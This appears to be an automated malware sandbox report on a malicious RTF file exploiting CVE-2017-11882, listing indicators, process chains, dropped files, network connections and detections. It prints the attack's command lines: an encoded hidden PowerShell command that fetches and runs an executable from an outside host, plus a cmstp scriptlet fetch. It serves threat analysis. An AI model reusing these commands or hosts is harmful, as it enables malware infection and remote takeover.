analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

bc0f12a0f671cfdd6ce61ba5ed13e97da1e5bbcb7e75120cae2ca1ccd04fa481

Full analysis: https://app.any.run/tasks/ef69ac5f-65c1-4385-9bca-ce01e7461202
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: November 14, 2018, 11:12:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
trojan
opendir
loader
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

57F8D97A8DDAA2484B4C4BE53F015321

SHA1:

B726A563FA62EBF6E257F129AB7D5A731FCEB598

SHA256:

BC0F12A0F671CFDD6CE61BA5ED13E97DA1E5BBCB7E75120CAE2CA1CCD04FA481

SSDEEP:

768:ZXYebS0tZGn+K+FuVX9d/De/tRNzntNC/nb7w+v5lcHJJAZYECw4xqloHFWfStPG:9YMHtZA+9I/6/tPztNin/zy8YqlolWNd

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads dropped or rewritten executable

      • TeamViewer.exe (PID: 2548)

    • Application was dropped or rewritten from another process

      • gVyRSthevL.exe (PID: 3496)
      • TeamViewer.exe (PID: 2548)

    • Runs app for hidden code execution

      • CmD.exe (PID: 2400)

    • Changes the autorun value in the registry

      • TeamViewer.exe (PID: 2548)

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2128)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2824)

    • Connects to CnC server

      • TeamViewer.exe (PID: 2548)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2128)
      • CmD.exe (PID: 2400)

    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 1992)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 1992)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2824)
      • gVyRSthevL.exe (PID: 3496)

    • Creates files in the user directory

      • cmstp.exe (PID: 3588)
      • powershell.exe (PID: 2824)

    • Executes PowerShell scripts

      • cmstp.exe (PID: 3588)

    • Connects to unusual port

      • TeamViewer.exe (PID: 2548)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3532)

    • Dropped object may contain Bitcoin addresses

      • gVyRSthevL.exe (PID: 3496)

    • Application was crashed

      • EQNEDT32.EXE (PID: 2128)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3532)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

InternalVersionNumber: 49167
CharactersWithSpaces: 1
Company:
Characters: 1
Words: -
Pages: 1
TotalEditTime: 5 minutes
RevisionNumber: 1
ModifyDate: 2017:11:23 01:06:00
CreateDate: 2017:11:23 01:05:00
LastModifiedBy: Admin
Author: Admin
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
46
Monitored processes
10
Malicious processes
5
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs cmd.exe no specs taskkill.exe no specs taskkill.exe no specs cmstp.exe powershell.exe gvyrsthevl.exe teamviewer.exe

Process information

PID
CMD
Path
Indicators
Parent process
3532"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\bc0f12a0f671cfdd6ce61ba5ed13e97da1e5bbcb7e75120cae2ca1ccd04fa481.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
1
Version:
14.0.6024.1000
2128"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Version:
00110900
2400CmD /c CmD < "%tmP%\aaaaaaaaaa.txt" & exit  cC:\Windows\system32\CmD.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1992CmD C:\Windows\system32\cmd.exe—CmD.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3672taskkill /F /IM winword.exeC:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1752taskkill /F /IM cmstp.exeC:\Windows\system32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3588"C:\Windows\System32\cmstp.exe" /s /ns "C:\Users\admin\AppData\Local\Temp\QjHFkncZ.txt"C:\Windows\System32\cmstp.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Profile Installer
Exit code:
0
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
2824"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOP -NONi -w HIDdeN -E "JABmAGYAIAA9ACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAIAArACAAKABbAGMAaABhAHIAXQA5ADIAKQAgACsAIAAtAGoAbwBpAG4AIAAoACgANgA1AC4ALgA5ADAAKQAgACsAIAAoADkANwAuAC4AMQAyADIAKQAgAHwAIABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAAxADAAIAB8ACAAJQAgAHsAWwBjAGgAYQByAF0AJABfAH0AKQAgACsAIAAnAC4AZQB4AGUAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQByAHQAdQByAC4AZABmAHMALgBzAGkAdABlAG0AZQAuAG8AcgBnAC8AMQAuAGUAeABlACcALAAgACQAZgBmACkAOwBpAGYAIAAoAFQAZQBzAHQALQBQAGEAdABoACAAJABmAGYAKQAgAHsAcwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgACQAZgBmADsAfQA="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmstp.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3496"C:\Users\admin\AppData\Roaming\gVyRSthevL.exe" C:\Users\admin\AppData\Roaming\gVyRSthevL.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2548"C:\Users\admin\AppData\Local\Temp\TeamViewer.exe" C:\Users\admin\AppData\Local\Temp\TeamViewer.exe
gVyRSthevL.exe
User:
admin
Company:
TeamViewer GmbH
Integrity Level:
MEDIUM
Description:
TeamViewer Remote Control Application
Version:
4.1.7880.0
Total events
1 636
Read events
1 514
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
3
Text files
8
Unknown types
4

Dropped files

PID
Process
Filename
Type
3532WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA870.tmp.cvr —
MD5:—
SHA256:—
3532WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5BA1B5E5.jpg —
MD5:—
SHA256:—
2824powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ZJH1UWLCMMD71ZQ57LE.temp —
MD5:—
SHA256:—
3532WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:256A3EF47ED32A3D3038855D49DF0319
SHA256:151B56C71BC28DD4D752808CE3A9352E96D9FA381320511F87B327A8208F5DD0
3588cmstp.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\main[1].txtxml
MD5:DF43D430D7AE2FB6A0AB94A63F748F47
SHA256:B94194658760D99EF0BCB1996369EE83CF2DD414A9F9A4E6D0AEA56DAD8DC908
2824powershell.exeC:\Users\admin\AppData\Roaming\gVyRSthevL.exeexecutable
MD5:6CCE4F3BD93351746B0EA6485EDD6910
SHA256:D5F2F11701E4F01B1A408D0D465B689AB5BD13603E6A0CEEDAFCB1BC809C2223
3496gVyRSthevL.exeC:\Users\admin\AppData\Local\Temp\tv.initext
MD5:86E14DB0BCF5654A01C1B000D75B0324
SHA256:04797E674AA7F1F94E344E7F323147B7C1914170DD89D71A29F7B376DA3A2428
3532WINWORD.EXEC:\Users\admin\AppData\Local\Temp\aaaaaaaaaa.txttext
MD5:75A6CF82B963D8788BC594776FD8B1CC
SHA256:156B3E220E938158534269A86E77F82A7EA6EF37D0A27FE7BA40F4C17CDD9864
2824powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3C6A7AAE234382390B6B52F47ECA1BAA
SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2
3532WINWORD.EXEC:\Users\admin\AppData\Local\Temp\SupLXUzIjLFCexn.sctxml
MD5:B3739592F85076973127D48213C278A9
SHA256:DB2DD46B28F28F3701DCB423D845EAF3250383569493BB91EF3D2DCE9EAC4C86
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
9
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3588
cmstp.exe
GET
200
162.244.32.37:80
http://162.244.32.37/test/main.txt
US
xml
7.98 Kb
malicious
2824
powershell.exe
GET
200
109.234.157.62:80
http://artur.dfs.siteme.org/1.exe
RU
executable
1.53 Mb
malicious
2548
TeamViewer.exe
POST
200
104.236.34.44:80
http://server.remoteutilities.com/utils/inet_id_notify.php
US
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2548
TeamViewer.exe
213.227.162.125:5938
ping3.dyngate.com
ANEXIA Internetdienstleistungs GmbH
FR
suspicious
2824
powershell.exe
109.234.157.62:80
artur.dfs.siteme.org
OOO Network of data-centers Selectel
RU
suspicious
2548
TeamViewer.exe
185.188.32.4:5938
master10.teamviewer.com
TeamViewer GmbH
DE
suspicious
3588
cmstp.exe
162.244.32.37:80
—
Hosting Solution Ltd.
US
malicious
2548
TeamViewer.exe
188.172.245.134:5938
—
ANEXIA Internetdienstleistungs GmbH
FR
suspicious
2548
TeamViewer.exe
104.236.34.44:80
server.remoteutilities.com
Digital Ocean, Inc.
US
malicious

DNS requests

Domain
IP
Reputation
artur.dfs.siteme.org
  • 109.234.157.62
malicious
ping3.dyngate.com
  • 213.227.162.125
  • 188.172.246.189
  • 213.227.168.189
  • 188.172.198.157
  • 188.172.219.157
suspicious
master10.teamviewer.com
  • 185.188.32.4
shared
server.remoteutilities.com
  • 104.236.34.44
unknown

Threats

PID
Process
Class
Message
3588
cmstp.exe
A Network Trojan was detected
MALWARE [PTsecurity] Squiblydoo Scriptlet
2824
powershell.exe
A Network Trojan was detected
ET TROJAN Single char EXE direct download likely trojan (multiple families)
2824
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2824
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2548
TeamViewer.exe
Misc activity
POLICY [PTsecurity] TeamViewer negotiation
2548
TeamViewer.exe
Misc activity
POLICY [PTsecurity] TeamViewer connection
2548
TeamViewer.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] RMS.RAT.UserAgent
4 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
bc0f12a0f671cfdd6ce61ba5ed13e97da1e5bbcb7e75120cae2ca1ccd04fa481